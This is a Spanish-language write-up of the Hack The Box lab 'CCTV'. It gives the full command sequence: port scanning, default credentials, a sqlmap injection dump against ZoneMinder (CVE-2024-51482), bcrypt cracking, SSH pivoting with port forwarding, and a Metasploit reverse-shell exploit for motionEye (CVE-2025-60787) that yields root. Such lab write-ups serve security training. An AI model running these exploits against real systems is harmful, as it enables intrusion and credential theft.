CCTV WriteUp
Table of Contents
CCTV es una máquina de dificultad 🟩 Easy de la plataforma Hack The Box. Combina la explotación de una SQL Injection en ZoneMinder para obtener credenciales de un usuario SSH, con el descubrimiento de servicios internos de video-vigilancia tras pivotar desde la máquina comprometida. La escalada a root se consigue a través de un RCE autenticado en motionEye.
🗺️ Cadena de Ataque
Nmap → Puerto 80 (ZoneMinder 1.37.63)
│
▼
Credenciales por defecto admin:admin → acceso al panel
│
▼
CVE-2024-51482 (Boolean SQLi) → sqlmap → mark:opensesame
│
▼
SSH como mark
│
▼
LinPEAS → tcpdump (cap_net_raw) + puertos internos
│
▼
Port Forwarding → motionEye 0.43.1b4 en :8765
│
▼
/etc/motioneye/motion.conf → admin:989c5a8ee87a0e9521ec81a79187d162109282f0
│
▼
CVE-2025-60787 (Metasploit RCE) → root 🏴
🔍 Reconocimiento
Escaneo de Puertos
echo "10.129.15.204 cctv.htb" | sudo tee -a /etc/hosts
sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv cctv.htb
grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv cctv.htb
| Puerto | Servicio | Detalle |
|---|---|---|
22 | SSH | OpenSSH 9.6p1 Ubuntu |
80 | HTTP | Apache 2.4.58 → SecureVision CCTV |
La superficie de ataque es pequeña. El puerto 22 no es vulnerable, así que nos centramos en el 80.
🌐 Puerto 80 — ZoneMinder
Al entrar encontramos la web de SecureVision, una empresa de soluciones de seguridad (CCTV, control de acceso, etc.). El único punto de entrada es el botón Staff Login, que redirige a un panel de ZoneMinder.
🧠 ¿Qué es ZoneMinder? Software open-source de CCTV para Linux compatible con cámaras IP, USB y analógicas.
Lo primero, probamos las credenciales por defecto:
admin:admin
Funcionan. Una vez dentro, confirmamos la versión consultando la API:
curl -s http://cctv.htb/zm/api/host/getVersion.json \
--cookie "ZMSESSID=<tu_cookie>" | jq
{
"version": "1.37.63",
"apiversion": "2.0"
}
ZoneMinder 1.37.63 — una búsqueda rápida revela el CVE-2024-51482
, valorado 9.9 CRITICAL.
CVE-2024-51482 — Boolean-Based SQL Injection
Se trata de una blind boolean-based SQLi en el parámetro tid. Hacer el dump manual llevaría horas, así que usamos sqlmap directamente sobre la tabla de credenciales de ZoneMinder:
💡 ZoneMinder almacena usuarios y contraseñas en la base de datos
zm, tablaUsers, columnasUsernameyPassword.
sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' \
--cookie="ZMSESSID=<tu_cookie>" \
-D "zm" -T "Users" -C "Username,Password" \
--dump --batch
+------------+--------------------------------------------------------------+
| Username | Password |
+------------+--------------------------------------------------------------+
| superadmin | $2y$10$cmytVWFRnt1XfqsItsJRVe/... |
| mark | $2y$10$prZGnazejKcuTv5bKNexXO... |
| admin | $2y$10$t5z8uIT.n9uCdHCNidcLf.... |
+------------+--------------------------------------------------------------+
Crackeando los Hashes
Los hashes son BCrypt ($2y$10$) con 1024 iteraciones. Los pasamos por hashcat:
hashcat -m 3200 hashes /usr/share/wordlists/rockyou.txt
$2y$10$prZGnazejKcuTv5bKNexXO...:opensesame → mark
$2y$10$t5z8uIT.n9uCdHCNidcLf... :admin → admin
⚠️
superadminno aparece en rockyou. Las credencialesadmin:adminya las teníamos — las relevantes sonmark:opensesame.
💉 Acceso Inicial — SSH como mark
ssh mark@cctv.htb
# password: opensesame
mark@cctv:~$
🔎 Reconocimiento Interno
Ejecutamos LinPEAS y anotamos lo más relevante:
Interfaces de red múltiples (veth..., br-...) — apuntan a contenedores Docker corriendo en la máquina.
Puertos escuchando en localhost:
| Puerto | Servicio identificado |
|---|---|
7999 | Motion 4.7.1 |
1935 | MediaMTX (RTMP) |
8554 | MediaMTX (RTSP) |
8765 | motionEye 0.43.1b4 |
8888 | MediaMTX (HTTP API) |
9081 | Stream MJPEG (cámara) |
3306 | MySQL 8.0.45 |
Capabilities destacadas:
/usr/bin/tcpdump cap_net_raw=eip ← permite captura de tráfico
/usr/bin/ping cap_net_raw=ep
💡
cap_net_raw=eipen tcpdump significa que está activo desde el inicio (e), autorizado (p) y heredable por procesos hijos (i). Podríamos capturar tráfico de las interfaces internas, pero hay un vector más directo.
Haciendo Port Forwarding a los Servicios Internos
Redirigimos los puertos más interesantes a nuestra máquina para analizarlos desde el navegador:
ssh -L 8765:127.0.0.1:8765 -L 7999:127.0.0.1:7999 -L 9081:127.0.0.1:9081 mark@cctv.htb
Con nmap sobre los puertos redirigidos identificamos:
:7999→ Motion 4.7.1 (daemon de detección de movimiento):8765→ motionEye 0.43.1b4 (frontend web para Motion):9081→ Stream MJPEG en vivo de una cámara
🧠 Stack de video-vigilancia: Motion captura las imágenes de las cámaras, motionEye proporciona la interfaz web para gestionarlo, y MediaMTX enruta los streams RTSP/RTMP.
🔑 Credenciales de motionEye
Buscamos credenciales para motionEye en los archivos de configuración:
cat /etc/motioneye/motion.conf
# @admin_username admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
# @normal_username user
# @normal_password
El valor parece un hash SHA-1, pero ni Crackstation ni hashcat con rockyou lo descifran. Probamos a usarlo directamente como contraseña con admin:
admin:989c5a8ee87a0e9521ec81a79187d162109282f0 ✅
⚠️ No era un hash — era la contraseña en texto plano almacenada con ese formato inusual en el archivo de configuración.
🧗 Escalada de Privilegios — CVE-2025-60787
motionEye 0.43.1b4 es vulnerable al CVE-2025-60787
, un RCE autenticado en la función add_camera. Existe módulo en Metasploit:
msfconsole
use exploit/linux/http/motioneye_auth_rce_cve_2025_60787
set RHOSTS 127.0.0.1
set RPORT 8765
set USERNAME admin
set PASSWORD 989c5a8ee87a0e9521ec81a79187d162109282f0
set LHOST <tu_ip>
set LPORT 4444
run
[+] The target appears to be vulnerable. Detected version 0.43.1b4
[*] Adding malicious camera...
[+] Camera successfully added
[*] Triggering exploit...
[*] Meterpreter session 1 opened
meterpreter > shell
whoami
root
🚩 User Flag
cat /home/sa_mark/user.txt
🏴 Root Flag
cat /root/root.txt
📝 Resumen de la Cadena
| # | Técnica | Herramienta | Resultado |
|---|---|---|---|
| 1 | Reconocimiento | nmap | ZoneMinder 1.37.63 en puerto 80 |
| 2 | Default credentials | Browser | Acceso al panel ZoneMinder |
| 3 | CVE-2024-51482 (SQLi) | sqlmap | Hash BCrypt de mark |
| 4 | Crackeo de hash | hashcat + rockyou | mark:opensesame |
| 5 | Acceso inicial | ssh | Shell como mark |
| 6 | Reconocimiento interno | linpeas, port forwarding | motionEye 0.43.1b4 en :8765 |
| 7 | Lectura de config | cat /etc/motioneye/motion.conf | admin:989c5a8... |
| 8 | CVE-2025-60787 (RCE) | Metasploit | Shell como root 🏴 |
Un saludo, nos vemos en el próximo challenge.
